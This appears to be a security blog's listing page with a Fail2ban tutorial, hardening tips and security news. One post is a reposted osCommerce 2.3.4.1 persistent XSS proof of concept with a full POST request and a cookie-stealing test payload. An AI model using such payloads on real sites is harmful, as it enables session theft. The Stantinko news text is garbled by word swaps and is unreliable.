Saturday, May 18, 2024
Home Blog Page 73

How To Install Fail2ban On Ubuntu 20.04 LTS

By
Steven Black (n0tst3)
-
1
f2b
f2b

Fail2ban is an intrusion prevention software framework widely-used to protect the system from Brute Force and DDoS attacks. It dynamically blocks clients that repeatedly fail to authenticate correctly with the services configured for it. It monitors the system logs in real-time to identify the automated attacks and block the attacking client to restrict the service access either permanently or a specific duration. We can also configure Fail2ban to trigger the emails for all the attacks identified by it. It sends the details including the service being attacked and the source IP address used for the attack.

This tutorial provides the steps to install Fail2ban and use it to protect SSH server authentication and FTP server authentication from brute-force attacks.

Prerequisites

This tutorial assumes that you have already installed Ubuntu 20.04 LTS server for production usage. It also assumes that you have either root privileges or a regular user with sudo privileges.

Install Fail2ban On Ubuntu 20.04 LTS

This section provides the commands required to install Fail2ban on Ubuntu 20.04 LTS. Use the below-mentioned command to install Fail2ban.

# Install Fail2ban
sudo apt install fail2ban

# Output
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  python3-pyinotify whois
Suggested packages:
  mailx monit sqlite3 python-pyinotify-doc
The following NEW packages will be installed:
  fail2ban python3-pyinotify whois
---
---
Setting up fail2ban (0.11.1-1) ...
Created symlink /etc/systemd/system/multi-user.target.wants/fail2ban.service → /lib/systemd/system/fail2ban.service.
Setting up python3-pyinotify (0.9.6-1.2ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for systemd (245.4-4ubuntu3)

Now we will verify the installation by checking the Fail2ban service status as shown below.

# Fail2ban Status
sudo systemctl status fail2ban

# Output
● fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2020-06-07 20:07:24 IST; 2min 40s ago
       Docs: man:fail2ban(1)
   Main PID: 61291 (f2b/server)
      Tasks: 5 (limit: 4624)
     Memory: 15.4M
     CGroup: /system.slice/fail2ban.service
             └─61291 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
---
---

The default configuration directory of Fail2ban is located at /etc/fail2ban. The default configurations of Fail2ban are specified in fail2ban.conf and jail.conf. We should not update these files, since Fail2ban scans for the local version of the default configuration files i.e. fail2ban.local and jail.local to override or update the configurations.

Notes: We can always refer /etc/fail2ban/jail.conf to check the default values of all the standard services supported by Fail2ban.

Now we will do the basic configuration of Fail2ban by adding and updating the files fail2ban.local and jail.local as shown below.

# Create and update fail2ban.local
sudo nano /etc/fail2ban/fail2ban.local

# Basic Configuration
[DEFAULT]
loglevel = INFO
logtarget = /var/log/fail2ban.log

# Save and exit the editor by pressing Ctrl + o -> Enter -> Ctrl + x

# Create and update jail.local
sudo nano /etc/fail2ban/jail.local

# Basic Configuration
[DEFAULT]
bantime = 1800
findtime = 600
maxretry = 3
backend = systemd

# Save and exit the editor by pressing Ctrl + o -> Enter -> Ctrl + x

# Restart Fail2ban
sudo systemctl restart fail2ban

We have created and updated the file /etc/fail2ban/fail2ban.local and configured the Fail2ban to log up to the INFO level and also specified the file to generate the logs. The possible values of log level are CRITICAL, ERROR, WARNING, NOTICE, INFO, and DEBUG where DEBUG is the lowest level and generates more details. We can enable the DEBUG level only when low-level details are required to analyze the attack.

We have also created and updated the file /etc/fail2ban/jail.local and configured the Fail2ban to ban a client or host for 1800 seconds (half-hour) if it has generated the maxretry i.e. 3 failed attempts during the last find time i.e. 600 seconds (10 minutes). The host gets banned for 600 seconds after 3 consecutive failed attempts in the last 600 seconds. Also, we can specify the bantime and findtime values in minutes or hours by adding the suffix m or h e.g. 10m for 10 minutes and 1h for 1 hour. We have also specified the backend as systemd to get files modification.

This completes the installation of Fail2ban with the basic configuration on Ubuntu 20.04 LTS.

Fail2ban Client

The fail2ban-client command can be used to check activated jails and banned IPs. It can also be used to whitelist or unban the IPs for a specific jail.

Active Jails

Now execute the below-mentioned command to check the active jails. It lists the jails activated by us. Also, note that Fail2ban on Ubuntu activates sshd jail by default.

# Check Status
sudo fail2ban-client status

# Output
Status
|- Number of jail:	1
`- Jail list:	sshd

Since we didn’t activate any jail, it showed sshd as the only active jail just after installing Fail2ban.

Jail Status

Use the below-mentioned command to check the status of a specific jail. It also shows the banned IPs of the given jail.

# Jail Status
sudo fail2ban-client status <Jail>

# Example
sudo fail2ban-client status sshd

# Output
Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- File list:	/var/log/auth.log
`- Actions
   |- Currently banned:	0
   |- Total banned:	0
   `- Banned IP list:


Ban IP

Use the below-mentioned command to ban the IP from the specified jail.

# Ban IP Address
sudo fail2ban-client set <Jail> banip <IP Address>

# Example
sudo fail2ban-client set sshd banip 127.0.0.1

# Output
1

# Jail Status
sudo fail2ban-client status sshd

# Output
Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- File list:	/var/log/auth.log
`- Actions
   |- Currently banned:	1
   |- Total banned:	1
   `- Banned IP list:	127.0.0.1

We can also check the firewall to view the status of banned IP addresses as shown below.

# Check Firewall
sudo iptables -L

# Output
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
f2b-sshd   tcp  --  anywhere             anywhere             multiport dports ssh

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain f2b-sshd (1 references)
target     prot opt source               destination         
REJECT     all  --  127.0.0.1        anywhere             reject-with icmp-port-unreachable
RETURN     all  --  anywhere             anywhere


Another way to check the ban output is by checking the logs of Fail2ban as shown below.

# Check Fail2ban Logs
tail -f /var/log/fail2ban.log

# Output
----
----
2020-06-08 17:36:14,598 fail2ban.jail           [66285]: INFO    Jail 'sshd' started
2020-06-08 17:36:14,599 fail2ban.jail           [66285]: INFO    Jail 'ssh' started
2020-06-08 17:37:40,467 fail2ban.actions        [66285]: NOTICE  [sshd] Ban 127.0.0.1

Unban IP

Use the below-mentioned command to unban the IP from the specified jail.

# Unban IP Address
sudo fail2ban-client set <Jail> unbanip <IP Address>

# Example
sudo fail2ban-client set sshd unbanip 103.94.65.121

# Output
1

# Jail Status
sudo fail2ban-client status sshd

# Output
Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- File list:	/var/log/auth.log
`- Actions
   |- Currently banned:	0
   |- Total banned:	1
   `- Banned IP list:

IP Whitelisting

We can specify the whitelisted IPs for all the jails by updating the ignoreip configuration of the default block in /etc/fail2ban/jail.local as shown below. The ignoreip can be a list of IP addresses, CIDR masks, or DNS hosts. Fail2ban will not ban the IP addresses specified in this list.

# Update jail.local
sudo nano /etc/fail2ban/jail.local

# Basic Configuration
[DEFAULT]
---
ignoreip = 127.0.0.1/8 xx.xx.xx.1/24 xx.xx.xx.xx
---

We can specify the IP address range or a specific IP as shown above. This will maintain a global list of the whitelisted IP addresses applied for all the services.

We can also specify the whitelisted IP address for a specific jail by using the fail2ban-client command as shown below.

# Whitelist IP for a specific jail
sudo fail2ban-client set <jail> addignoreip xx.xx.xx.xx

# Example
sudo fail2ban-client set sshd addignoreip 127.0.0.1

# Output
These IP addresses/networks are ignored:
`- 127.0.0.1

SSH Jail to secure SSH Service

This section provides the configurations to secure the SSH Service either by updating the /etc/fail2ban/jail.local global file or updating the separate jail for SSH i.e. /etc/fail2ban/jail.d/defaults-debian.conf created by Fail2ban while installing it. The required configurations to protect the SSH service are specified below. We can update either of the files /etc/fail2ban/jail.local, /etc/fail2ban/jail.d/defaults-debian.conf, or /etc/fail2ban/jail.d/ssh.conf.

[ssh]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 1h

Save the changes and reload fail2ban to check the status.

# Reload Fail2ban
sudo systemctl reload fail2ban

# Check Status
sudo fail2ban-client status

# Output
Status
|- Number of jail:	2
`- Jail list:	ssh, sshd

FTP Jail to secure vsftpd Service

This section provides the configurations to secure the vsftpd Service either by updating the /etc/fail2ban/jail.local global file or by creating and updating the separate jail for SSH i.e. /etc/fail2ban/jail.d/vsftpd.conf. The required configurations to protect the vsftpd service are specified below.

Notes: It assumes that vsftpd is already installed.

[vsftpd]
enabled = true
port = ftp,ftp-data,ftps,ftps-data
logpath = %(vsftpd_log)s
maxretry = 5
bantime = 1h

Save the changes and reload fail2ban to check the status.

# Reload Fail2ban
sudo systemctl reload fail2ban

# Check Status
sudo fail2ban-client status

# Output
Status
|- Number of jail:	3
`- Jail list:	ssh, sshd, vsftpd

FTP Jail to secure pureftpd Service

This section provides the configurations to secure the pureftpd Service either by updating the /etc/fail2ban/jail.local global file or by creating and updating the separate jail for SSH i.e. /etc/fail2ban/jail.d/pureftpd.conf. The required configurations to protect the pureftpd service are specified below.

Notes: It assumes that pureftpd is already installed.

[pureftpd]
enabled  = true
port     = ftp
filter   = pure-ftpd
logpath  = /var/log/syslog
maxretry = 3
bantime = 1h

Save the changes and reload fail2ban to check the status.

# Reload Fail2ban
sudo systemctl reload fail2ban

# Check Status
sudo fail2ban-client status

# Output
Status
|- Number of jail:	3
`- Jail list:	ssh, sshd, pureftpd

Summary

This tutorial provided all the steps required to install Fail2ban and configure it to secure the services including ssh, vsftpd, and pureftpd.

Bookmark
ClosePlease login

10 Tips to Increase Security on Web Hosting Servers

By
RiSec.Mitch
-
0
increase security

How to increase security on a web server?

Server security is a key aspect of server management for web hosting providers and server administrators. Here, we look at ten techniques for hardening servers and monitoring them for security vulnerabilities.

1. Use Public Key Authentication For SSH

Remove unencrypted access. No one should use telnet, ftp or http to manage servers anymore. SSH, SFTP and https are the accepted standards. For even better security, get rid of password authentication on SSH altogether. Instead, use SSH keys. Each user has a public key and a private key. The private key is kept by the user. The public key is kept on the server. When the user tries to login, SSH makes sure the public key matches the private key. Once password logins are disabled, there’s no risk of a successful brute force attack against a weak password.

2. Strong Passwords

A security hardened server is a challenge for criminals, but you would be surprised how many server administrators leave the front door wide open. People—including those who should know better—tend to choose easily guessed passwords. Last year, brute force attacks against servers with weak SSH passwords resulted in a spate of ransomware attacks. Use long and random passwords—long passphrases are better and finally restrict users with login type access.

3. Install And Configure The CSF Firewall

The Config Server Firewall is a feature-rich, free firewall that can protect a server against a wide variety of attacks. Its features include stateful packet inspection, authentication failure rate-limiting, flood protection, directory watching, and the use of external block lists. CSF is a fantastic tool, and is a lot easier to manage than iptables.

4. Install And Configure Fail2Ban (Click for a comprehensive guide)

Every server on the web is plagued by bots looking for weaknesses. Fail2Ban trawls through your server’s logs in search of patterns that indicate malicious connections, such as too many failed authentication attempts or too many connections from the same IP. It can then block connections from those IPs and notify an administrator account

.5. Install Malware Scanning Software

Ideally, you want to keep malicious individuals out of your server, but if they do manage to breach the server’s security, you want to know about it as soon as possible. ClamAV is an excellent malware scanning tool for Linux, and rkhunter is useful for finding rootkits. In combination, there’s a good chance they will find any malware a hacker might install on a server. AIDE can be used to generate a hashed table of files on the system and then compare the hash count of the files daily to confirm no changes have been made to system-critical files.

6. Keep Software Up-To-Date

Out-of-date software is likely to contain security vulnerabilities that are known to hackers, as Equifax recently discovered to everyone’s cost. If you ignore all the other advice in this article —which you should not—you should at the very least update using your Linux distribution’s package manager.

7. Backup Regularly

You may not think of backups as a security measure, but the main reason we secure a server is to keep the data stored on it safe. It’s impossible to guarantee that a server will never be compromised, so data should be encrypted and backed up to an offsite location. Regular testing of recovery from comprehensive backups will neuter ransomware attacks.

8. Monitor Logs

Logs are a vitally important security tool. A server collects enormous amounts of information about what it does and who connects to it. Patterns in that data often reveal malicious behaviour or security compromises. Logwatch is an excellent daily summary tool that can analyze, summarize, and generate reports about what’s happening on your server. Logsentry can be used for hourly reports for more active monitoring of ingress.

9. Turn Off Unnecessary Services

Any internet-facing software that isn’t essential to the server’s function should be disabled. The fewer points of contact between the server’s internal environment and the outside world, the better. Most Linux distributions—including CentOS and Ubuntu—include a tool for managing services.

This also applies to the webserver engine itself, turning of modules you don’t need, removing language modules not in use, disabling the web server status, and debugging pages. The less information you provide about your underlying infrastructure the smaller the footprint becomes to attack you with.

10. Install ModSecurity

ModSecurity is a Web Application Firewall—it operates at a higher level than the CSF firewall and is designed to deal with threats against the application layer. In a nutshell, it stops many types of attacks against web applications, including content management systems like WordPress and eCommerce stores like Magento. ModSecurity used to be an Apache module, but it is now available for NGINX too.

Consider these options also:

Take steps to mitigate XSS attacks (Cross Site Scripting) by adding the settings to the servers that force the server and client to confirm who they are talking to. OWASP has a wealth of information and tutorials.

Use HTTP2 (or http1.2) Implementations of HTTP/2 MUST use TLS version 1.2 or higher for HTTP/2 over TLS. This upgraded engine for http benefits server load by talking binary to the client rather than text and hat improve interoperability, it reduces exposure to known security vulnerabilities and reduces the potential for site display issues from different client browser access.

https://www.realinfosec.net/cybersecurity-academy/steps-to-hardening-your-vps-security/

Return to Cybersecurity Academy

Read Cybersecurity News Articles

Read Steps To Hardening Your Vps Security

Bookmark
ClosePlease login

osCommerce 2.3.4.1 – ‘title’ Persistent Cross-Site Scripting

By
RiSec.Mitch
-
0

CVE: N/A

Platform: PHP

Date: 2020-11-25

# Exploit Title: osCommerce 2.3.4.1 - 'title' Persistent Cross-Site Scripting
# Exploit Author: Emre Aslan
# Vendor Homepage: https://www.oscommerce.com/
# Version: 2.3.4.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Login to admin panel.
2- Go to the following url. ==> http(s)://(HOST)/catalog/admin/newsletters.php?action=new
3- Enter the XSS payload into the title section and save it.

==> Vulnerable Parameter <==

title= (post parameter)

==> HTTP Request <==

POST /catalog/admin/newsletters.php?action=insert HTTP/1.1
Host: (HOST)
Connection: keep-alive
Content-Length: 123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://(HOST)/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://(HOST)/catalog/admin/newsletters.php?action=new
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: osCAdminID=s11ou44m0vrasducn78c6sg

module=newsletter&title="><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img>&content=xss

==> Vulnerable Source Code <==

<div id="contentText">
    <table border="0" width="100%" cellspacing="0" cellpadding="2">
      <tr>
        <td><table border="0" width="100%" cellspacing="0" cellpadding="0">
          <tr>
            <td class="pageHeading">Newsletter Manager</td>
            <td class="pageHeading" align="right"><img src="images/pixel_trans.gif" border="0" alt="" width="57" height="40" /></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td><table border="0" width="100%" cellspacing="0" cellpadding="0">
          <tr>
            <td valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2">
              <tr class="dataTableHeadingRow">
                <td class="dataTableHeadingContent">Newsletters</td>
                <td class="dataTableHeadingContent" align="right">Size</td>
                <td class="dataTableHeadingContent" align="right">Module</td>
                <td class="dataTableHeadingContent" align="center">Sent</td>
                <td class="dataTableHeadingContent" align="center">Status</td>
                <td class="dataTableHeadingContent" align="right">Action&nbsp;</td>
              </tr>
                  <tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview'">
                <td class="dataTableContent"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbsp;"><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img></td>
                <td class="dataTableContent" align="right">3 bytes</td>
                <td class="dataTableContent" align="right">newsletter</td>
                <td class="dataTableContent" align="center"><img src="images/icons/cross.gif" border="0" alt="False" title="False" /></td>
                <td class="dataTableContent" align="center"><img src="images/icons/unlocked.gif" border="0" alt="Unlocked" title="Unlocked" /></td>
                <td class="dataTableContent" align="right"><img src="images/icon_arrow_right.gif" border="0" alt="" />&nbsp;</td>
              </tr>
                  <tr class="dataTableRow" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1'">
                <td class="dataTableContent"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbsp;"><img src=1 href=1 onerror="javascript:alert(1)"></img></td>
                <td class="dataTableContent" align="right">7 bytes</td>
                <td class="dataTableContent" align="right">newsletter</td>
                <td class="dataTableContent" align="center"><img src="images/icons/cross.gif" border="0" alt="False" title="False" /></td>
                <td class="dataTableContent" align="center"><img src="images/icons/unlocked.gif" border="0" alt="Unlocked" title="Unlocked" /></td>
                <td class="dataTableContent" align="right"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1"><img src="images/icon_info.gif" border="0" alt="Info" title="Info" /></a>&nbsp;</td>
              </tr>
              <tr>
                <td colspan="6"><table border="0" width="100%" cellspacing="0" cellpadding="2">
                  <tr>
                    <td class="smallText" valign="top">Displaying <strong>1</strong> to <strong>2</strong> (of <strong>2</strong> newsletters)</td>
                    <td class="smallText" align="right">Page 1 of 1</td>
                  </tr>
                  <tr>
                    <td class="smallText" align="right" colspan="2"><span class="tdbLink"><a id="tdb1" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?action=new">New Newsletter</a></span><script type="text/javascript">$("#tdb1").button({icons:{primary:"ui-icon-plus"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script></td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
            <td width="25%" valign="top">
<table border="0" width="100%" cellspacing="0" cellpadding="2">
  <tr class="infoBoxHeading">
    <td class="infoBoxHeading"><strong>"><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img></strong></td>
  </tr>
</table>
<table border="0" width="100%" cellspacing="0" cellpadding="2">
  <tr>
    <td align="center" class="infoBoxContent"><span class="tdbLink"><a id="tdb2" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview">Preview</a></span><script type="text/javascript">$("#tdb2").button({icons:{primary:"ui-icon-document"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script><span class="tdbLink"><a id="tdb3" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=lock">Lock</a></span><script type="text/javascript">$("#tdb3").button({icons:{primary:"ui-icon-locked"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script></td>
  </tr>
  <tr>
    <td class="infoBoxContent"><br />Date Added: 11/19/2020</td>
  </tr>
</table>
            </td>
          </tr>
        </table></td>
      </tr>
    </table>
</div>
Bookmark
ClosePlease login

Stantinko Botnet Now Targeting Linux Servers to Hide Behind Proxies

By
RiSec.Mitch
-
0
74536e40280daf8107b60d6b132a74c5
74536e40280daf8107b60d6b132a74c5

An adware and coin-miner botnet concentrating on Russia, Ukraine, Belarus, and Kazakhstan at least considering that 2012 has now set its sights on Linux servers to fly less than the radar.

In accordance to a new evaluation published by Intezer now and shared with The Hacker Information, the trojan masquerades as HTTPd, a usually employed method on Linux servers, and is a new model of the malware belonging to a threat actor tracked as Stantinko.

Back again in 2017, ESET researchers comprehensive a significant adware botnet that performs by tricking customers seeking for pirated software package into downloading destructive executables disguised as torrents to install rogue browser extensions that carry out ad injection and click on fraud.

The covert campaign, which controls a extensive army of 50 % a million bots, has considering that received a significant enhance in the form of a crypto-mining module with an purpose to income from desktops less than their control.

Whilst Stantinko has been usually a Windows malware, the expansion in their toolset to goal Linux failed to go unnoticed, with ESET observing a Linux trojan proxy deployed through malicious binaries on compromised servers.

Intezer’s most up-to-date investigate provides refreshing perception into this Linux proxy, particularly a newer edition (v2.17) of the very same malware (v1.2) referred to as “httpd,” with 1 sample of the malware uploaded to VirusTotal on November 7 from Russia.

On execution, “httpd” validates a configuration file located in “etcetera/pd.d/proxy.conf” which is sent alongside with the malware, adhering to it up by producing a socket and a listener to accept connections from what the researchers think are other infected devices.

An HTTP Post ask for from an contaminated consumer paves the way for the proxy to go on the request to an attacker-controlled server, which then responds with an ideal payload which is forwarded by the proxy again to the shopper.

In the party a non-contaminated shopper sends an HTTP Get request to the compromised server, an HTTP 301 redirect to a preconfigured URL specified in the configuration file is sent again.

Stating that the new edition of the malware only capabilities as a proxy, Intezer researchers explained the new variant shares numerous perform names with the previous model and that some hardcoded paths bear similarities to previous Stantinko campaigns.

“Stantinko is the hottest malware concentrating on Linux servers to fly less than the radar, along with threats this kind of as ​Doki​, ​IPStorm​ and ​RansomEXX​,” the company explained. “We feel this malware is section of a broader campaign that will take advantage of compromised Linux servers.”

Located this report fascinating? Comply with THN on Facebook, Twitter  and LinkedIn to read through more distinctive articles we put up.
Some sections of this write-up are sourced from:
thehackernews.com

Bookmark
ClosePlease login

Critical Unpatched VMware Flaw Affects Multiple Corporates Products

By
Steven Black (n0tst3)
-
0
vmware 1
vmware 1

VMware has released temporary workarounds to address a critical vulnerability in its products that could be exploited by an attacker to take control of an affected system.

“A malicious actor with network access to the administrative configurator on port 8443 and a valid password for the configurator admin account can execute commands with unrestricted privileges on the underlying operating system,” the virtualization software and services firm noted in its advisory.

Tracked as CVE-2020-4006, the command injection vulnerability has a CVSS score of 9.1 out of 10 and impacts VMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector.

While the company said patches for the flaw are “forthcoming,” it didn’t specify an exact date by when it’s expected to be released. It’s unclear if the vulnerability is under active attack.

The complete list of products affected are as follows:

  • VMware Workspace One Access (versions 20.01 and 20.10 for Linux and Windows)
  • VMware Workspace One Access Connector (versions 20.10, 20.01.0.0, and 20.01.0.1 for Windows)
  • VMware Identity Manager (versions 3.3.1, 3.3.2, and 3.3.3 for Linux and Windows)
  • VMware Identity Manager Connector (versions 3.3.1, 3.3.2 for Linux and 3.3.1, 3.3.2, 3.3.3 for Windows)
  • VMware Cloud Foundation (versions 4.x for Linux and Windows)
  • vRealize Suite Lifecycle Manager (versions 8.x for Linux and Windows)

VMware said the workaround applies only to the administrative configurator service hosted on port 8443.

“Configurator-managed setting changes will not be possible while the workaround is in place,” the company said. “If changes are required please revert the workaround following the instructions below, make the required changes and disable again until patches are available.”

The advisory comes days after VMware addressed a critical flaw in ESXi, Workstation, and Fusion hypervisors that could be exploited by a malicious actor with local administrative privileges on a virtual machine to execute code and escalate their privileges on the affected system (CVE-2020-4004 and CVE-2020-4005).

The vulnerability was discovered by Qihoo 360 Vulcan Team at the 2020 Tianfu Cup Pwn Contest held earlier this month in China.

Bookmark
ClosePlease login

Is blockchain vulnerable to hacking by quantum computers?

By
Steven Black (n0tst3)
-
0
Bitcoin resized 555x401 1
Bitcoin resized 555x401 1

Yes, but some smart technologies are already in the works to defend against this

There’s a lingering fear among crypto investors that their bitcoin might get swooped by a hacker.

That’s not very likely, but it’s not impossible either, particularly once quantum computing gets into the wrong hands. Last year Google’s quantum computer called Sycamore was given a puzzle that would take even the most powerful supercomputers 10 000 years to solve – and completed it in just 200 seconds, according to Nature magazine.

That kind of processing power unleashed on the bitcoin blockchain – which is a heavily encrypted ledger of all bitcoin transactions – is a cause for concern.

The encryption technology used by the bitcoin blockchain has proven itself robust enough to withstand any and all attacks. That’s because of its brilliant design, and ongoing improvements by an ever-growing community of open-source cryptographers and developers.

A report by research group Gartner (Hype Cycle for Blockchain Technologies, 2020) suggests blockchain researchers are already anticipating possible attacks by quantum computers that are perhaps five to 10 years away from commercial availability. It’s a subject called ‘Postquantum blockchain’ which is a form of blockchain technology using quantum-resistant cryptographic algorithms that can resist attack by future quantum computers.

The good news is that quantum-resistant algorithms are likely to remain several steps ahead of the hackers, but it’s an issue that is drawing considerable attention in the financial, security and blockchain communities.

Postquantum cryptography is not a threat just yet, but crypto exchanges are going to have to deploy quantum-resistant technologies in the next few years, before quantum computers become generally available.

Phishing is probably a bigger threat

In truth, you’re far more likely to be hit by a phishing scam, where identity thieves use emails, text messages and fake websites to get you to divulge sensitive personal information such as bank account or crypto exchange passwords.

As a user, you should be using LastPass or similar software to generate complex passwords, along with two-factor authentication (requiring the input of a time-sensitive code before you can access your crypto exchange account). Most good exchanges are enabled for this level of security.

There are many sad stories of bitcoin theft, but these are usually as a result of weak security on the part of the bitcoin holder, much like leaving your wallet on the front seat of your car while you pop into the shop for a minute.

On the plus side, it will vastly speed drug discovery, molecular modelling and code breaking. It will also be a gift to hackers and online thieves, which is why financial services companies are going to have to invest in defensive technologies to keep customer information and assets safe.

Most crypto exchanges invest substantial amounts in security. The vast majority of crypto assets (about 97%) are stored in encrypted, geographically-separated, offline storage. These cannot be hacked.

But even here, the level of security is usually robust. A further level of protection is the insurance of all bitcoin that are stored in online systems. They also have systems in place to prevent any employee from making off with clients’ assets, requiring multiple ‘keys’ before a bitcoin transaction is authorised.

There have been hacks on crypto exchanges in the past (though not on the blockchain itself), and millions of dollars in crypto assets stolen. In more recent years, this has become less common as exchanges moved to beef up their security systems.

In 2014 Mt.Gox, at the time responsible for about 70% of all bitcoin transactions in the world, suffered an attack when roughly 800 000 bitcoin, valued at $460 million, were stolen. In 2018, Japan-based crypto exchange Coincheck was hit with a $534 million fraud impacting 260 000 investors.

As the value of bitcoin and other crypto assets increases, the incentive for hackers rises proportionately, which is why problems such as quantum-enabled thievery are already being addressed.

Bookmark
ClosePlease login

DeFi project Pickle Finance exploited for $20 million

By
Steven Black (n0tst3)
-
0
Pickle Finance exploited for 20 million
Pickle Finance exploited for 20 million

Another day, another DeFi exploit. On Saturday, November 21st, the DeFi project ‘Pickle Finance’ was exploited for $19.7 million. This is the fourth DeFi exploit to take place within just two weeks with the Akropolis ($2 million), Value DeFi ($7.4 million), and Origin protocol ($7.7 million) exploits proceeding it.

But unlike the three DeFi exploits that took place before it, analysts are not sure how the Pickle Finance exploit took place. Some speculate that it was yet another flash-loan attack–the same type of exploit that led to the Akropolis, Value DeFi, and Origin Protocol exploits–however, others are saying that the exploit was more complex than the typical flash-loan attack.

Later on, The Pickle Finance team announced that they figured out how the exploit took place, that it’s very complex, and that it took their dev team nearly four hours to figure it out.

Pickle Finance Team Discord

Next steps for the Pickle Finance team

As a result of the exploit, the Pickle Finance team recommended that its liquidity providers withdrawal their funds from any Pickle Finance pool until the issue is solved. 

Shortly after they recommended withdrawals, the Pickle Finance team claimed to have patched the attack vector and said that providing liquidity in any Pickle Finance pool–except its DAI pool–was once again safe.

High risk, low reward

As time goes on, it is becoming clear that DeFi investments are no longer high-risk high reward ventures, but rather, high risk, low reward ventures. Although more money continues to pour into the DeFi sector, the new capital is not being allocated to meme coins like $PICKLE, instead, it is going to legitimate DeFi use-cases like decentralized borrowing and lending.

DeFi related crime is on the rise, and three DeFi projects were the victims of flash-loan attacks in the last 14 days. Considering that many DeFi projects have simply copy and pasted the code of other projects, it would not be surprising to see even more projects become the victim of flash-loan attacks.

The best way to stay dry in a time when attackers are looking to exploit DeFi projects and separate investors from their funds is to stay out of the DeFi space. The few dollars you could make from investing in these hobby projects is not worth all the money you could lose through the project’s attack vectors.

Bookmark
ClosePlease login

Tesla Model X Has Flaw Allowing It to Be Hacked and Stolen in minutes

By
RiSec.Mitch
-
1
Tesla Model X hack scaled
Tesla Model X hack scaled
creds telsa

A Belgian researcher has figured out how to clone the EV’s key with about $300 in equipment, but he’s shared the information with Tesla and a fix is coming.

  • A security researcher has detailed a pair of unintended flaws, known as “exploits,” that would allow a person to steal a Tesla Model X in minutes.
  • The researcher carried off the feat with about $300 in computer hardware items, including a Tesla part found on eBay, as Wired first reported.
  • Researcher Lennert Wouters told Tesla of the vulnerability back in August, and Tesla has told Wouters an over-the-air update will be sent out this week to fix the issue.

Automakers work hard to reduce the possibility that hackers can steal their cars. But, it’s an ongoing battle between the people who make the systems in vehicles and those who want to exploit them. Fortunately for Tesla, the latest pair of unintended flaws—known to computer types as “exploits”—were found by a security researcher happy to share his findings, not a group of car thieves with a taste for falcon-winged EVs.

Wired reported about the security researcher, Lennert Wouters from KU Leuven university in Belgium. He discovered a pair of vulnerabilities that allow the researcher to not only get into a Model X, but also start it and drive away. Wouters disclosed the vulnerability to Tesla back in August, and the automaker has told Wouters that an over-the-air patch may take a month to be deployed to affected vehicles. For Wouters’s part, the researcher says that he won’t publish the code or technical details needed for anyone else to pull off this hack. He did post a video demonstration of the system in action.

To steal a Model X in minutes requires the exploitation of two vulnerabilities. Wouters started with a hardware kit costing roughly $300 that sits in a backpack and includes a Raspberry Pi low-cost computer and a Model X body control module (BCM) that he purchased off eBay. It’s the BCM that enables these exploits, even though it’s not from the target vehicle. It acts like a trusted piece of Tesla hardware that allows both exploits to be pulled off. With it, Wouters is able to hijack the Bluetooth radio connection that the key fob uses to open the vehicle using the VIN and coming within 15 feet of the target vehicle’s fob. At that point, his hardware system rewrites the target’s fob firmware and is able to access the secure enclave and get the code to unlock the Model X. He stores that code in his backpack rig and returns to the Model X, which opens up because it believes it’s connected to the original fob.

Essentially, Wouters is able to create a key for a Model X by knowing the last five digits of the VIN—which is visible in the windshield—and standing near the owner of that vehicle for about 90 seconds while his portable setup clones the key.

